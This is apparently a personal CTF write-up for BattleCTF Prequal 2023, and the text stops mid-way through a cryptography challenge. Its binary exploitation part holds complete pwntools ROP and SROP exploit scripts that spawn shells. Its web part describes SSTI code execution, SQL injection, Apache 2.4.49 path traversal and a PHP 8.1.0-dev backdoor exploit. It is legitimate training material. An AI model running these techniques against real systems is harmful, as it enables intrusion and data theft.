➜ ~

Playing Hacks and Stuffs!


Project maintained by h4ckyou Hosted on GitHub Pages — Theme by mattgraham

BattleCTF Prequal 2023

Description: This was a fun ctf I participated in as an individual player. Thanks to the organizers for the awesome challenges

image

Challenge Solved

Misc

Web

Forensics

Binary Exploitation

Reverse Engineering

Cryptography

Misc 6/7 :~

Discord

image

After joining the discord channel and viewing the announcement I saw the flag image

Flag: battleCTF{WeLoveAfrica}

Way

image

After downloading the attached file checking the file type shows it is a zip file archive image

I tried to unzip it but I got this image

With this I know that it will require a password if I try to unzip using 7z

So let us brute force the password

I converted it to a format john can understand using zip2john image

The password is samoanpride

Let us unzip it now image

It unzipped to form an image file

Checking the image shows the BUG|PWN logo image

Using strings showed me the password and from there I can filter it to get the last line in which the password is image

Flag: battleCTF{The_Best_Way_To_Learn}

GO

image

It gave this string:

onggyrPGS{RaqGvzr_vf_terng}

I used dcoder.fr to identify the type of cipher it is image

It says it is ROTed

I then decoded it using this image

Flag: battleCTF{EndTime_is_great}

Minon Agbodo

image

We are given ssh credential to login with

After I logged in using:

ssh battlectf@chall.battlectf.online -p 30000 -oHostKeyAlgorithms=+ssh-dss

I saw this image

Seems we are in a restriced environment!!

I ran bash and it seemed to broke out of it image

Still I can’t run commands

After playing with some characters I figured using command injection payloads work quite well

And I got the flag that way image

Flag: battleCTF{Agb0d0_J4!L_Awhouangan}

BUG|PWN

image

After going to the twitter page of the BUG|PWN organizers I found some hex values image

Well those hex values are the messages while the key is the founder’s name RAVEN

I wrote a script to decode it 🙂

#!/usr/bin/env python3
from pwn import xor
import warnings
warnings.filterwarnings('ignore')

cipher = b'\x0e\x39\x60\x77\x12\x2a\x77\x67\x19\x36\x65\x75\x0a\x3d\x79\x66\x1d\x2e\x73\x2d\x0e\x39\x60\x70\x12\x2a\x75\x65\x19\x36\x67\x75\x0a\x3d\x7a\x64\x1d\x2e\x72\x2c\x0e\x39\x62\x77\x12\x2a\x74\x63\x19\x36\x66\x76\x0a\x3d\x79\x31\x1d\x2e\x70\x7e\x0e\x39\x63\x72\x12\x2a\x75\x33\x19\x36\x67\x27\x0a\x3d\x7a\x31\x1d\x2e\x73\x28\x0e\x39\x61\x73\x12\x2a\x77\x63\x19\x36\x65\x72\x0a\x3d\x7b\x34\x1d\x2e\x70\x7b\x0e\x39\x65\x75\x12\x2a\x76\x6e\x19\x36\x61\x71\x0a\x3d\x79\x6a\x1d\x2e\x72\x2a'
key = b'RAVEN'

xored = xor(cipher, key).decode()
print(f'H3X: {xored}')

## LINKS ##
# https://twitter.com/bug_pwn/status/1672272446257340417
# https://twitter.com/w31rdr4v3n

Running it decodes to this image

For some reason python bytes.fromhex doesn’t work on it so I used cyberchef image

Flag: battleCTF{BUG|PWN_Loves_U0x0x}

php zlib

image

We are given the source and also the web service url

To be honest I didn’t take a look at the source 😃

After going to the web service I saw the header to be this image

The user agent header value looks interesting:

PHP/8.1.0-dev

Searching for exploits leads here

Running it works and we are root on the docker container image

But the flag isn’t there.

I then used find command to get the path to where the flag is image

And now we can get it’s content image

Flag: battleCTF{phP_useragentt_l1kes_wahala_1357f40569024191137a63aa10098f60}

Web 8/10 :~

Civilization

image

Going over to the web service shows this image image

Since the text says we should get the source code by going to /?source let us get it image

From the page source we get this:

<?php
require("./flag.php");
if(isset($_GET['source'])){
    highlight_file(__FILE__);  
}
if(isset($_GET['ami'])){
    $input = $_GET['ami'];
    $cigar = 'africacradlecivilization';
    if (preg_replace("/$cigar/",'',$input) === $cigar) {
        africa();
    }
}
include("home.html");
?>

We can tell what it does:

From this we know that we need to make the input value to be africacradlecivilization in order to get the flag

But the issue is after preg_replace is done it will check that input is it contains africacradlecivilization and replace it with null values

How do we bypass it?

We can do this:

africaafricacradlecivilizationcradlecivilization

Now after preg replace removes the africacradlecivilization from that string it then forms africacradlecivilization

Let us get the flag now image

Flag: battleCTF{pr3gr4plAcebyp455_0x0x0x0x}

Own Reality

image

Going over to the web page shows this image

Immediately my DogGit firefox extension showed that there’s an exposed /.git image

Going over to /.git shows that it is indeed there image

I’ll use git-dumper to dump the git repo image

Now that is done let us check the commit using git log image

I can view the commit a1346a3abab8f97748e5480b61eb6824d4692f44 using git show a1346a3abab8f97748e5480b61eb6824d4692f44 image

We can see this:

.__..._..__...._.___._...___._...__.__...__.._._._....__._._._..._...__..____.__._._._._.__.___..__._.__.__.___..__.____.___.___.__.___.._._____.__..._..__._.._.___._...___..__._._____..__..__..___.....__._...__.._._.__.._._.__...._..__._....___.._.__..._...__._....__..._..__.___.__.._._.__.._._..__.._..__..__..__..__...__._._.__...._..__..._..__..__.__..__..__..._..__.._...__...__.__...__.__...._..__.__..__..__...__..__..__.._...__.___._____._

It looks like morse code but after decoding it from morse doesn’t give the flag

After trying hours on this I then tried to convert the dots to 0 and underscores to 1

I wrote a script to do that

#!/usr/bin/python

encoded = ".__..._..__...._.___._...___._...__.__...__.._._._....__._._._..._...__..____.__._._._._.__.___..__._.__.__.___..__.____.___.___.__.___.._._____.__..._..__._.._.___._...___..__._._____..__..__..___.....__._...__.._._.__.._._.__...._..__._....___.._.__..._...__._....__..._..__.___.__.._._.__.._._..__.._..__..__..__..__...__._._.__...._..__..._..__..__.__..__..__..._..__.._...__...__.__...__.__...._..__.__..__..__...__..__..__.._...__.___._____._"
decode1 = encoded.replace('.', '0')
decode2 = decode1.replace('_', '1')
print(decode2)

Running it gives this image

Using cyberchef to decode it gives the flag image

Flag: battleCTF{Unknown_bits_384eea49b417ee2ff5a13fbdcca6f327}

It shock you

image

Going over to the web service shows this image

The apache version looks interesting image

Apache/2.4.49

Searching for exploits leads here

From the source it does a directory transversal by using .%2e

Running the exploit shows it works image image

Since we want to look for the flag I decided to do it manually image

The flag is at /flag.txt but when I try access it I get 404 error image

So here’s what I did

Since we know we can read a direct file /etc/passwd I can just go back one directory and get the flag /etc/passwd/../flag.txt image

Flag: battleCTF{Apache_2.4.49_wahala_26e223dfefdcc5ce214a4b6ad83f5a49}

Cobalt Injection [First Blood 🩸]

image

Going over to the web page shows this image

Checking wappalyzer shows it is PHP but is it ?

image

I confirmed using curl and it shows it is python werkzeug image

Now that the web server language is confirmed let us get to solving it

Checking the page source shows how it excepts the capital to be guessed image

<!-- IP?capital=Benin -->

Doing that I noticed this image

We can now try SSTI payload since our input value seems to be rendered back

And our payload gets evaluated image

Checking the config doesn’t really show any thing interesting image

Let us get remote code execution then

I used a payload gotten from PayloadAllTheThings image

Flag: battleCTF{wahala_1nj3ction_in_country}

Africa [First Blood 🩸]

image

Going over to the web service shows this image

Since this is a http-header based sorta web chall let us play with the header from burp

I changed the User-Agent to africa and got this image

Hmm it’s saying that it isn’t coming from local client

I can use the X-Forwarded-For header image

Now I get that error

We can use the Referer header for that image

Since this is based on the tracking header which is DNT

I’ll set it to 1 and I got the flag image

Instead of doing that manually I made a script for it

#!/usr/bin/python3
import requests
from bs4 import BeautifulSoup

url = 'http://chall.battlectf.online:8081/'
headers = {
    'User-Agent': 'africa',
    'DNT': '1',
    'X-Forwarded-For': '127.0.0.1',
    'Referer': 'battlectf.online'
}

req = requests.get(url, headers=headers)
reqz = BeautifulSoup(req.text, 'html.parser')
div_tag = reqz.find('div', class_='container')
flag = div_tag.get_text(strip=True)
print(flag)

Hebiosso injection

Going over to the web service shows this image

One thing we can try here is sql injection 🙂

I saved the search request to a file image

Now we can use sqlmap to get check it

Doing that shows it is vulnerable to UNION query sql injection

Let us get the database present image image

So the database is hebiosso now let us get the tables present image image

Cool we can now dump the flag table image image

Flag: battleCTF{Like_based_SQLi_Fu_0af52e4e8696a3dffe7eea367eeb277d}

Cobalt Injection 2 [First Blood 🩸]

image

So this is the revenge for Cobalt Injection 1 image

Trying the basic ssti payload still works image

But when I try the payload used it doesn’t work image

Seems they added like a filter of some sort

After playing with it I figured it filters dot and underscores

Looking at this

I got the payload to be used and we can see it worked image

I can now get the flag image

Note: Since dot is filtered I did 'cat flag\x2etxt'

And here’s the flag

Flag: battleCTF{C0untry_1nj3ct!on_f1!73r_Bypass_534d3d21720fbdb1cc1a58e75e25993a}

Perfect Timing

image

Going over to the web page shows this login page image

I saved the post request to a file to check for sql injection

And it turned out to be a time based sql injection

Just follow the process I did for Hebiossa Injection you will get this image image

Flag: battleCTF{Common_SQLi_Time_558de3659cc32ee7bc9f1745ecd63ae2}

Forensics 7/10 :~

Thumb

image

After downloading the attached file I checked the file type and it is an image file image

Using binwalk shows there are other jpegs inside the image image

I can extract them all image

The extracted files are images image

The 102 file shows a QRCode image

I then used zbarimg to decode it image

Flag: battleCTF{3XP3C71N6_7HUM8N411_70_83 _41W4Y5_83_H1DD3N}

Find Me

image

After downloading the attached file shows that it is a wireshark packet file image

I opened it up in wireshark and check the protocol hierarchy image

We can see some HTTP protocol present in the pcapc file

I can now apply it as filter and follow tcp stream

Stream 3 shows this POST request with some login details image

userid=hardawayn&pswrd=UEFwZHNqUlRhZQ%3D%3D

Decoding it gives the password image

Flag: battleCTF{PApdsjRTae}

Africa Beauty

image

From the details it seems we need to get some values from the file attached

The file attached is an image file image

And the details we need are:

Let us use exiftool to get the image metadata image image image

Now we have the:

How do we get the country and city?

The metadata also gave the GPS Position to be:

6 deg 20' 59.76" N, 2 deg 24' 48.96" E

We can use a gps to location checker for this

And after doing that I got this image

Flag: battleCTF{Google_Pixel4XL_back_Benin_Cotonou}

Base64

image

After looking around the platform I found the base64 encoded string here image

Decoding it gives the flag image

Flag: battleCTF{b4s3_64_4_3nc0d1n9}

GIFt

image

Checking the file type of the attached file shows this image

It doesn’t recognise it cause the file header is messed up

So I used xxd to check the hex dump image

We can see this NETSCAPE2.0

After doing research I found that it is a GIF file

And in order to fix it we need to append this to the file header 0x47494638

I made a script to do that

#!/usr/bin/python3

buf = open('gift.gif', 'rb').read()
buf = b"\x47\x49\x46\x38" + buf
with open('fix.gif', 'wb') as fd:
    fd.write(buf)

Now we can check the file type for fix.gif image

Opening it shows some text file image

But since it is gif it removes and come back and I can’t note the word

So I used stegsolve to extract the frames image image image image image

Knowing that I just decoded it

#!/usr/bin/python3
import base64
s='ZmxhZ3tnMWZfb3JfajFmfQ=='
print(base64.b64decode(s))

And got the flag

Flag: battleCTF{g1f_or_j1f}

Binary Exploitation 6/10 :~

BlackRop

image

After downloading the file and unzipping it I got this image

Source code is given image image

From the source code we can see the main function calls the vuln function

And the vuln function is vulnerable to buffer overflow since it uses gets() to receive our input

void vuln()
{
	char buffer[10];

	printf("check your identity and read the flag.\n");
	gets(buffer);
}

There’s a win function called read_flag()

void read_flag(){
	if(!(check_file && african && invite_code && capcha)) {
		printf("403|You aren't allowed to read the flag!\n");
		exit(1);
	}
	
	char flag[65];
	FILE * f = fopen("flag.txt","r");
	if (f == NULL){
		printf("flag.txt doesn't exist, try again on the server\n");
		exit(0);
	}
    fgets( flag, 65, f );
    printf("%s\n",flag);
    fflush(stdout);
}

But before it works it does a check on the global variables check_file && african && invite_code && capcha

And each of those variables are confirmed from other functions

Like the check_file is set when check_flag function returns true

void check_flag(char* file) {
	if(strcmp(file, "flag.txt") == 0) {
		check_file = 1;
	}
}

african is true when the african function returns true

void check_african() {
	african = 1;
}

invite_code is true when the check_invitecode function returns true

void check_invitecode(int code) {
	if(code == 0xbae) {
		invite_code = 1;
	}
}

capcha is true when the check_capcha function returns true

void check_capcha(int login, int auth) {
	if(login == 0x062023 && auth == 0xbf1212) {
		capcha = 1;
	}
}

Since we know there’s a buffer overflow that means we can overwrite the return address EIP and set it anywhere we like

And in x86 which is the binary architecture arguments are passed from the stack as fun, ret, arg1, arg2… Since the ret address in the next step will confuse the parameter passing, so ret is generally pressed

Now let us get the offset needed to overwrite the instruction pointer and I’ll use gdb-gef for it image image

The offset is 22

I’ll also need some pop gadgets image

Here’s my exploit script

from pwn import *
import warnings

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
break *0x80492ce
break *0x8049293
break *0x80492e8
break *0x804930b
break *0x80491c2
continue
'''.format(**locals())

# Binary filename
exe = './rop_black'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'
warnings.filterwarnings("ignore", category=BytesWarning, message="Text is not bytes; assuming ASCII, no guarantees.")

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Start program
io = start()

# ========================= #
# capcha = 0x804c044
# african = 0x804c03c
# invite_code = 0x804c040
# check_file = 0x804c038
# ========================= #

offset = 22
gadget1 = 0x0804901e # pop ebx; ret; 
gadget2 = 0x080493ea # pop edi; pop ebp; ret; 

# Build the payload
payload = flat({
    offset: [
        elf.symbols['check_capcha'],
        gadget2,
        0x062023,
        0xbf1212,
        elf.symbols['check_african'],
        elf.symbols['check_flag'],
        gadget1,
        0x804b033,
        elf.symbols['check_invitecode'],
        gadget1,
        0xbae,
        elf.sym['read_flag']
    ]
})

# Send the payload
io.sendline(payload)

io.interactive()

Running it locally works image

It also works remotely image

Flag: battleCTF{rop_Afr1cA_x_7352adb6a9fd43b762413112a9695fde}

AM1

image

After downloading the attached file and unzipping it shows that the source code is given

Here’s the content image

//gcc -o am1 am1.c -no-pie
#include <stdio.h>
#include <stdlib.h>


void print_file(char * file)
{
	char buffer[20];
	FILE * inputFile = fopen( file, "r" );
	if ( inputFile == NULL ) {
        printf( "Cannot open file %s\n", file );
        exit( -1 );
    }
    fgets( buffer, 65, inputFile );
    printf("Output: %s",buffer);
}

int main(){


    puts("Welcome to Africa battleCTF.");
    puts("Tell us something about you: ");
    char buf[0x30];
    gets( buf );

    return 0;
}

It’s a small C file and here’s what it does:

Now the aim of what we should do here is that since we know there’s a buffer overflow since gets is used we can overwrite the RIP to call the print_file function then pass in a memory address containing flag.txt as the argument

But the issue is flag.txt isn’t in the binary memory and we can’t pass it as a string but rather an address

The way we can go around this is by writing the value of flag.txt in a writable section of the binary then call the print_file function on that address

Let us get the file type and the protection enabled on the binary image

This is a x64 binary which is dynamically linked and not stripped

The only protection enabled is NX (No Execute) which prevents shellcode upload to the stack and the execution of it

Now that we know that let us get a section of the binary which is writable image

The .data section looks like a good candidate for this

Now we need the offset and as usual i’ll use gdb-gef for it image image

Cool! The offset is 56

For x64 binary the calling convention is passed in via registers

In this case we would need a pop rdi gadget image

With that set here’s my exploit script

#!/usr/bin/python3
from pwn import *
import warnings

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './am1'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'
warnings.filterwarnings("ignore", category=BytesWarning, message="Text is not bytes; assuming ASCII, no guarantees.")

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Start program
io = start()

offset = 56 
pop_rdi = 0x000000000040128b # pop rdi; ret; 
data = 0x00404048 # .data section

# Build the payload
payload = flat({
    offset: [  
        pop_rdi,
        data,
        elf.plt['gets'],
        pop_rdi,
        data,
        elf.symbols['print_file']
    ]
})

io.sendline(payload)

io.interactive()

Running it works locally and also remotely image

So basically what I did was to use gets() to receive our input which will then be stored in the .data section and i can then call the print_file function with the .data section as the parameter 🙂

Flag: battleCTF{Africa_1d3al_r0p_e70bee3af3e2b1430d8dc7863a33790d}

youpi

image

After downloading the attached file and unzipping it I got the source code and the binary image

// gcc -o youpi youpi.c
#include <stdio.h>
#include <stdlib.h>

int check = 0;

void youpiii(){
	
	if(check){
		char buffer[20];
		FILE * inputFile = fopen("flag.txt", "r" );
		if ( inputFile == NULL ) {
		    printf( "Cannot open file flag.txt\n" );
		    exit( -1 );
		}
		fgets( buffer, 65, inputFile );
		printf("FLAG: %s",buffer);
	}

}

void main(){
    puts("Welcome to Africa battleCTF.");
    puts("Tell us about your country: ");
    char buf[0x30];
    gets( buf ); 
}

From the source code we can see what it does:

Since we can overwrite the RIP we can make the program to anywhere in the binary and therefore being able to skip the if check

So if we are to jump to this function we need to jump to youpiii+18 image

Let us get the offset image image

The offset is 56 but now the issue is that we need to make the base pointer a known address since jumping to youpiii+18 will make the rbp messed up

I just used the .data section image

With that set here’s my solve script

#!/usr/bin/python3
from pwn import *
import warnings

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
break *0x0000000000401188
continue
'''.format(**locals())

# Binary filename
exe = './youpi'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'
warnings.filterwarnings("ignore", category=BytesWarning, message="Text is not bytes; assuming ASCII, no guarantees.")

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Start program
io = start()

offset = 48
data = 0x00404030 # .data section

# Build the payload
payload = flat({
    offset: [  
        data,
        0x0000000000401188
    ]
})

io.sendline(payload)

io.interactive()

Running it remotely works image

Flag: battleCTF{Right_jump_860332b9b9c47839ec975f0ecb32a51e}

Axovi [First Blood 🩸]

image

After downloading the attached file and unzipping it I got the binary

Let us check the file type and the protection enabled on it image

It’s a x64 binary which is dynamically linked and not stripped and the only protection enabled on it is NX (No-Execute)

Since the source code isn’t given i’ll decompile it using IDA

Here’s the main function image

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[48]; // [rsp+0h] [rbp-30h] BYREF

  system("echo 'Welcome to Africa battleCTF.\nTell us something about : '");
  gets(v4, argv);
  return 0;
}

We can see that it uses system to print some text and then use gets() to receive our input

So we have a buffer overflow here

Also the issue is that since system is used and system is called from the global offset table (GOT) we won’t need to calculate the libc base address therefore we can call system directly 🙂

Let us get the offset needed to overwrite the RIP image image

The offset is 56

But now we know that we can call system but we can’t directly use a string as it’s parameter but instead a memory address

So we can get a writable section of the binary preferably .data and put /bin/sh into it therefore ropping to system()

I used rabin2 to get the .data section address image

Also we would need a pop rdi gadget since x64 argument are passed in via registers image

Now that it is settled here’s what I’ll do:

Here’s my exploit script

#!/usr/bin/python3
from pwn import *
import warnings

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './axovi'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'
warnings.filterwarnings("ignore", category=BytesWarning, message="Text is not bytes; assuming ASCII, no guarantees.")

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Start program
io = start()

offset = 56

data = 0x000000000404028 # data section
pop_rdi = 0x00000000004011bb # pop rdi; ret;

payload = flat({
    offset: [
        pop_rdi,
        data,
        elf.plt['gets'],
        pop_rdi,
        data,
        elf.plt['system']
]
})

io.sendline(payload)
io.interactive()

Running it works locally image

And it works remotely also image

Flag: battleCTF{ROP_sw33t_R0P}

battleCTF Event Portal

image

After downloading the attached file and unzipping it I got the source code and the make file image

Checking the source code shows this image

#include <stdio.h>
#include <unistd.h>

int main(){
	long pass;
	puts("Welcome to battleCTF Event portal.");
	printf("Enter you invite code to participe:");
	scanf("%s",&pass);
	if(pass * 0x726176656e70776eu == 0x407045989b3284aeu){
		execl("/bin/sh", "sh", 0);
	}
	else
		puts("\nWrong password ..!");
	return 0;
}

We can see after it prints out some text it then receives our input using scanf without specifying the amoung of data to read in (doesn’t matter in this even though it’s a buffer overflow)

It then compares the result formed from multilying our input with 0x726176656e70776eu to 0x407045989b3284aeu

If it returns true it spawns a shell

We can try to decode that value and try to get it’s inverse but it isn’t possible

So I used z3 which is a powerful framework for solving problems

This helped me with it

Here’s the script

#!/usr/bin/python3
from z3 import *

s = Solver()

x = BitVec("0", 64)

s.add(((x * 0x726176656e70776e) & 0xffffffffffffffff) == 0x407045989b3284ae)

if s.check() == sat:
    solution = s.model()
    solution = hex(int(str(solution[x])))
    solution = solution[2:]

    value = ""
    i = int(len(solution) / 2)
    while i > 0:
        i -= 1
        y = solution[(i*2):(i*2) + 2]
        value += chr(int("0x" + y, 16))

    print("Value: " + value)
else:
    print("Error")

Running it gives anniepwn

➜  eventportal python3 solve.py
Value: anniepwn
➜  eventportal 

Now I can connect to the remove instance and give that as the value image

Flag: battleCTF{N3w_1nteg3r_0v3rfl0w_bb4a0612f6b3ad0d04223e022687600c}

0xf [First Blood 🩸]

image

After downloading the file attached and unzipping it I got the binary but no source code

Let us check the file type and the protections enabled on it image

We are working with a x64 binary which is dynamically linked, not stripped and the only protections enabled on it is NX

I decompiled it using ghidra and here’s the main function image


int main(void)

{
  char buf [48];
  
  puts("Africa battle CTF 2023");
  puts("Tell us about your ethnicity:");
  gets(buf);
  return 0;
}

We see there’s a buffer overflow cause gets() is used and there’s also another function called hausa

Here’s it decompiled code image


undefined8 hausa(void)

{
  return 0xf;
}

It returns 0xf which is an essential assembly instruction needed for performing Sigreturn Oriented Programming (SROP)

In the hood it does image

Which is basically:

Since our exploitation technique will be SROP I need to search if there’s /bin/sh in the binary

And luckily there was image

How will I take advantage of this?

First we need to know what syscall is

And how do we trigger a syscall

A notable syscall is the execve syscall, which executes the program passed to it in RDI. RSI and RDX hold arvp and envp respectively.

This means, if there is no system() function, we can use execve to call /bin/sh instead - all we have to do is pass in a pointer to /bin/sh to RDI, and populate RSI and RDX with 0 (this is because both argv and envp need to be NULL to pop a shell).

And luckily pwntool can allow us interact with sigreturn

Here’s my exploit script

#!/usr/bin/python
from pwn import *
import warnings

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './0xf'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'
warnings.filterwarnings("ignore", category=BytesWarning, message="Text is not bytes; assuming ASCII, no guarantees.")
# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Start program
io = start()

offset = 56

rax_0xf = 0x000000000040113a # mov eax, 0xf; ret;
syscall = 0x0000000000401140 # syscall; ret; 

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = 0x402004        # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = syscall

# Build the payload
payload = flat({
    offset: [
        rax_0xf,
        syscall,
        frame
    ]
})

io.sendline(payload)

# Got Shell?
io.interactive()

Running it gives me shell locally image

It also works remotely image

Flag: battleCTF{Ethnicity_SigROP_Syscall_Army_f0d9e29e9c1d03c996083bb9c3325d33}

Reverse Engineering 6/8 :~

SEYI

image

After downloading the binary running strings on it gave me the flag image

Flag: battleCTF{The_path_to_light}

Welcome

image

After downloading the binary I checked the file type image

From the result we can see it’s a statically linked binary

Running it just shows some text image

Opening it up in gdb-gef and disassemblying the _start function shows this image

From there we can see it does a simple calculation

I just did the same thing but with python here’s the script

#!/usr/bin/python3
a = 0x522d1b20f6
b = a + 0x1ee2eeee
c = b ^ 0xaa84aaa
print(bytes.fromhex(hex(c)[2:]))

Running it gives: image

So here’s how I came about it

From the assembly instruction it does

   0x0000000000401000 <+0>:     movabs rbx,0x522d1b20f6
   0x000000000040100a <+10>:    mov    rax,rbx
   0x000000000040100d <+13>:    add    rax,0x1ee2eeee
   0x0000000000401013 <+19>:    nop
   0x0000000000401014 <+20>:    xor    rax,0xaa84aaa

And what that does is:

Flag: battleCTF{RAVEN}

Infinity

image

After downloading the binary I checked the file type image

We are working with x64 binary which is dynamically linked and not stripped

When I tried running it I got seg fault image

I opened it up in gdb then saw this image

Disassemblying it gives this image image

Looking at that we can see some push instruction which will cause the stack to be unstable causing the seg fault

I took those values out and on decoding it I got this image

After some minutes on looking at it I got the right flag from it

Flag: battleCTF{Beyond_Our_Galaxie}

Babyrev

image

After downloading the file I checked the file type image

We are working with a x64 binary which is dynamically linked and not stripped

I ran the binary and it showed this image

I decompiled it using IDA and here’s the main function image

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[112]; // [rsp+0h] [rbp-70h] BYREF

  puts("Welcome to battleCTF invite code verification portal.");
  printf("Enter your invite code to verify: ");
  fgets(s, 100, stdin);
  encrypt(s, 15LL);
  if ( !strcmp(s, _TMC_END__) )
    puts("Valid code... !");
  else
    puts("Invalid code...!");
  return 0;
}

We can see what it does:

Here’s the value of _TMC_END__:

qpiiatRIU{Pvqp_Ugt3_UDDS_Stn_d0D!_85864r1277qu8195pqqtp6540494pr46}

I didn’t take a look at the encrypt function since I saw strcmp is used 🙂

We can cheat our way around here 😜

I opened up gdb-pwngdb and set a breakpoint at the strcmp call with abcdefghijklmnopqrstuvwxyz as my input image image image

Now you can see the strcmp call on our encrypted input with the flag compared value image

Since we know our input will be turned to: pqrstuvwxyzabcdefghijklmno and it’s compared against qpiiatRIU{Pvqp_Ugt3_UDDS_Stn_d0D!_85864r1277qu8195pqqtp6540494pr46}

I can match it to get the right input:

a b c d e f g h i j k l m n o p q r s t u v w x y z
p q r s t u v w x y z a b c d e f g h i j k l m n o

After doing that I got the flag

Flag: battleCTF{Agba_Fre3_FOOD_Dey_o0O!_85864c1277bf8195abbea6540494ac46}

Checker

image

I checked the file type image

We are working with a x64 binary which is dynamically linked and it’s stripped

On running shows the invite code prompt as the previous one image

Decompiling it in IDA here’s the main function image

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[112]; // [rsp+0h] [rbp-70h] BYREF

  puts("Welcome to battleCTF invite code verification portal.");
  printf("Enter your invite code to verify: ");
  fgets(s, 100, stdin);
  sub_1179(s);
  if ( !strcmp(s, s2) )
    puts("Valid code... !");
  else
    puts("Invalid code...!");
  return 0LL;
}

It uses strcmp again !! Very good

I’ll cheat my way around here again

Following the way I solved the previous one you should get this

a b c d e f g h i j k l m n o p q r s t u v w x y z
f g h i j k l m n o p q r s t u v w x y z a b c d e

expected = gfyyqjHYK{Flg4_d0z_i3d_xr0p3_1lg0?}

From there we can map the char of the flag to be:

Flag: battleCTF{Agb4_y0u_d3y_sm0k3_1gb0?}

Mazui

image

After downloading the binary and checking the file type I got this image

We are working with a x64 binary which is dynamically linked and not stripped

Running it gives a seg fault image

I opened it up in gdb-gef and saw a Flag function which i then disassembled image image

There’s also this image

We can reverse that

I made a script to reverse it

#!/usr/bin/python3

key = 0x41ef12
flag = []

val1 = 0x62209b66
flag.append(bytes.fromhex(hex(val1 ^ key)[2:]))

val2 = 0x6c24ac46
flag.append(bytes.fromhex(hex(val2 ^ key)[2:]))

val3 = 0x463abc23
flag.append(bytes.fromhex(hex(val3 ^ key)[2:]))

val4 = 0x6d318377
flag.append(bytes.fromhex(hex(val4 ^ key)[2:]))

val5 = 0x5f0c8064
flag.append(bytes.fromhex(hex(val5 ^ key)[2:]))

val6 = 0x492fbc7a
flag.append(bytes.fromhex(hex(val6 ^ key)[2:]))
 
val7 = 0x652d836f
flag.append(bytes.fromhex(hex(val7 ^ key)[2:]))

print(b''.join(flag))

Running it gives the flag image

Flag: battleCTF{S1mple_MovInShell}

Cryptography 3/8 :~

Back TO Origin

image

We are given this image file image

I searched it up and found it to be Hieroglyphs image

After searching for a decoder I found this

Using it I decoded the image to be AFRICAFAMILY

So the flag is:

Flag: battleCTF{AFRICAFAMILY}

Blind

image

Checking the file content shows this

&?g}-PN(9}P5MAm&?h7^PPOlbIq>h1&?hiR&?i)xPP!xdZ2CY{&?h.0PTrZKO-lrJ&?i*vPR*.wG5SCP&?h>4PQB/jXz<fx&?hE]PTrZKKk=*:&?hE]PT:0OQt?&1&?j0APQB/jG5SD3&?hE]PT:0OO-lrH&?i*vPR*.wM/sWz&?g[.PN#f@G5SC^&?i*vPN#f@O-lrp&?i:tPQjVhRq!e8&?i:tPN#f@WbN:H&?i2]

Using cyberchef magic decoded it to be this image

It decoded to this:

